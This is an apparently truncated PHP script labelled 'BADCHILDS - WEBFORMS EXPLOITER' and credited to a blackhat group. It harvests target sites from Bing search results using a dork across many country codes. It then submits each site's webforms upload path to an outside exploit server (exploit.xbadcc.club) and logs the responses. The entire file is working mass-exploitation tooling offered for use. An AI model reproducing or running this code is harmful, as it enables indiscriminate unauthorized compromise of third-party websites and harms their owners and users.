dork = $dork; } //End Dork // Please Dont Change, this is a Landmark. function YogyakartaBlackhat(){ $bad = "====================================\n"; $bad .= "# BADCHILDS - WEBFORMS EXPLOITER #\n"; $bad .= "#\t\t Yogyakarta Blackhat \t\t#\n"; $bad .= "#\t Thanks To FathurFreakz \t#\n"; $bad .= "#\t\t YKBH(C)".date("Y")." \t\t#\n"; $bad .= "====================================\n"; $bad .= "#\t Usage \t\t: php ".basename($_SERVER["SCRIPT_FILENAME"], '.php').".php \"Dork\"\t #\n"; $bad .= "====================================\n"; echo $bad; } // End Landmark // Get Curl Post for Calling Target. private function BadCurlPost($url, $post = false){ $ch = curl_init(); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)"); curl_setopt($ch, CURLOPT_RETURNTRANSFER,1); if($post !== false){ $isi = ''; foreach($post as $key=>$value){ $isi .= $key.'='.$value.'&'; } rtrim($isi, '&'); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_POST, count($isi)); curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookie.txt'); curl_setopt($ch, CURLOPT_POSTFIELDS, $isi); } $data = curl_exec($ch); curl_close($ch); return $data; } // End Curl Post // Get Target From Dork - Search Engine on Bing. public function SearchingEngine($engine){ $list = array(); $ccbing = array("ca","br","be","nl","uk","it","es","de","no","dk","se","ch","ru","jp","cn","kr","mx","ar","cl","au"); switch($engine){ case 1: for($i=0;$i<=1000;$i+=10){ $search = $this->BadCurlPost("http://www.bing.com/search?q=".urlencode($this->dork)."&first=".$i); preg_match_all('#

[".count(array_unique($m[1]))."]\n"; } break; case 2: for($x=0;$x<=count($ccbing)-1;$x++){ for($i=0;$i<=1000;$i+=10){ $search = $this->BadCurlPost("http://www.bing.com/search?q=".urlencode($this->dork)."&cc=".$ccbing[$x]."&rf=1&first=".$i."&FORM=PORE"); preg_match_all('#
[".count(array_unique($m[1]))."]\n"; } } echo "[".date("H:i:s")."] Result Searching => ".count($list)."\n"; break; } if(count($list)>0){ echo "Start Exploit => [ ".count($list)." Dorks ]\nPlease Wait ... \n"; foreach($list as $do){ echo $this->BadExploiting($do)."\n"; } } } // End Searching // Started Exploiting Target, Call Dork and Get Target private function BadExploiting($target){ $link = parse_url($target); $data = $this->BadCurlPost("http://exploit.xbadcc.club/badchilds.php?victim=".sprintf("%s://%s/js/webforms/upload/",(isset($link["scheme"]) ? $link["scheme"] : "http://"),(isset($link["host"]) ? $link["host"] : $target))."&get=TRUE"); $Result = fopen("Webresult-".date("d-m-Y").".log","a"); $xbadchilds = strtoupper(sprintf("%s://%s/js/webforms/upload/",(isset($link["scheme"]) ? $link["scheme"] : "http://"),(isset($link["host"]) ? $link["host"] : $target))); fwrite($Result,$data, strlen($data)); fclose($Result); return "===>[ ". $xbadchilds ." ]<===\n".$data; } // End Exploiting } // End Class $Exploiter = new BADCHILDS($argv[1]); echo "Get Searching ".$argv[1]."\n"; for($x=1;$x<3;$x++){ $Exploiter->SearchingEngine($x); } ?>